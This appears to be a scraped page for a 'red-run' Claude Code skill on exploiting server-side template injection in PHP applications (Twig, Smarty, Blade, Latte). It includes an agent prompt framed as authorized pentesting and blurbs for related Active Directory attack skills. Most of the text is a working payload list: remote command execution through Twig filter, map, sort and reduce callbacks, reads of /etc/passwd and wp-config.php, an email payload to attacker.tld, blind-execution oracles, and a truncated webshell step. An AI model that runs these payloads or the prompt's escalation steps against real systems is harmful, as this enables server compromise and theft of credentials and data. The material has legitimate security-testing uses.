acl-abuse
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Guide Twig/PHP server-side template injection exploitation during authorized penetration testing.
$ npx -y skills add blacklanternsecurity/red-run --skill ssti-twig --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/ssti-twigContext preview
The summary Claude sees to decide when to auto-load this skill.
Guide Twig/PHP server-side template injection exploitation during authorized penetration testing.
name: ssti-twig
description: >
Guide Twig/PHP server-side template injection exploitation during authorized
penetration testing.
keywords:
- Twig SSTI
- PHP template injection
- Smarty SSTI
- Blade SSTI
- Latte SSTI
- "{{7*'7'}} returns 49"
- Symfony template injection
- Laravel template injection
- PHP sandbox escape
tools:
- burpsuite
- sstimap
- tplmap
opsec: mediumYou are helping a penetration tester exploit server-side template injection in a PHP application. The target uses Twig (Symfony), Smarty, Blade (Laravel), or Latte and processes attacker-controlled input through the template engine without proper sanitization. The goal is to escalate from template expression evaluation to remote code execution or file access. All testing is under explicit written authorization.
Check for `./engagement/` directory. If absent, proceed without logging.
When an engagement directory exists:
descriptive filenames (e.g., `sqli-users-dump.txt`, `ssrf-aws-creds.json`).
Call `get_state_summary()` from the state MCP server to read current engagement state. Use it to:
Your return summary must include:
route to **ssti-jinja2**.
If not already provided, determine: 1. **Framework** — Symfony, Laravel, CraftCMS, Grav, or custom 2. **Template engine** — Twig, Smarty, Blade, Latte 3. **Engine version** — critical for payload selection (Twig < 1.20, 1.x, 2.x, 3.x) 4. **Injection point** — URL param, form field, email template, PDF generation
Skip if context was already provided.
{{7*7}} # 49
{{7*'7'}} # 49 (arithmetic, not string repetition = Twig, not Jinja2)
{{dump(app)}} # Dumps the application object (Symfony)
{{dump(_context)}} # Dumps all template variables
{{app.request.server.all|join(',')}} # Server variables{$smarty.version} # Version disclosure
{system('id')} # Direct code execution (v3, deprecated in v5)
{php}echo `id`;{/php} # Deprecated in v3{{ 7*7 }} # 49 (Blade uses {{ }} for escaped output)
{!! 7*7 !!} # 49 (unescaped output){var $X="POC"}{$X} # Variable assignment and output
{php system('id')} # Direct code execution{{_self}} # Reference to current template
{{_self.env}} # Twig environment object
{{app.request.server.all|join(',')}} # All server variables
{{dump(_context)}} # All template variables{{ '/etc/passwd'|file_excerpt(1,30) }}
{{ include("wp-config.php") }}
{{ source('/etc/passwd') }}These are the most reliable modern payloads:
{{ ['id']|filter('system') }}
{{ ['id']|map('system')|join }}
{{ ['id',1]|sort('system')|join }}
{{ [0]|reduce('system','id') }}
{{ ['id']|filter('passthru') }}
{{ ['id']|map('passthru') }}**With space or special character bypass:**
{{ ['cat\x20/etc/passwd']|filter('system') }}
{{ ['cat$IFS/etc/passwd']|filter('system') }}{{ _self.env.registerUndefinedFilterCallback("exec") }}{{ _self.env.getFilter("id") }}
{{ _self.env.registerUndefinedFilterCallback("system") }}{{ _self.env.getFilter("whoami") }}{{ {'id':'shell_exec'}|map('call_user_func')|join }}{{ ["error_reporting", "0"]|sort("ini_set") }}# Email parameter passing FILTER_VALIDATE_EMAIL:
"{{app.request.query.filter(0,0,1024,{'options':'system'})}}"@attacker.tld
# With GET param: ?0=id{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{%include ["Y:/A:/", _self.env.getFilter("id")]|join%}{{ [0]|map(["xx", {"id": "shell_exec"}|map("call_user_func")|join]|join) }}{{ _self.env.registerUndefinedFilterCallback("shell_exec") }}
{{ 1/(_self.env.getFilter("id && echo UniqueString")|trim('\n') ends with "UniqueString") }}{{ 1/({"id && echo UniqueString":"shell_exec"}|map("call_user_func")|join|trim('\n') ends with "UniqueString") }}{{ 1 / (["id >>/dev/null && echo -n 1", "0"]|sort("system")|first == "0") }}{system('id')}
{system('cat /etc/passwd')}Smarty v3 with `{php}` tag (deprecated):
{php}echo `id`;{/php}Write webshell (if write access):
{Security assessment toolkit for Claude Code. red-run combines skills, MCP servers, and Claude Code agent teams with routing logic that guides Claude and the operator through the phases of a security assessment — recon, initial access, lateral movement,
Exploits misconfigured Active Directory ACLs for privilege escalation. Covers GenericAll, GenericWrite, WriteDACL, WriteOwner, ForceChangePassword, targeted…
Enumerates Active Directory domains and maps attack surface for penetration testing.
Establishes persistent access in Active Directory environments after domain compromise. Covers DCShadow (rogue DC attribute modification), Skeleton Key (LSASS…
Exploits ADCS through ACL abuse on templates/CA objects and NTLM relay to enrollment endpoints. Covers ESC4 (template ACL → modify to ESC1), ESC5 (PKI object…
Establishes persistence and exploits weak certificate mapping in AD CS. Covers ESC9 (no security extension), ESC10 (weak certificate mapping), ESC12-15…
Exploits misconfigured AD CS certificate templates to impersonate any domain user via SAN manipulation or enrollment agent abuse. Covers ESC1 (enrollee…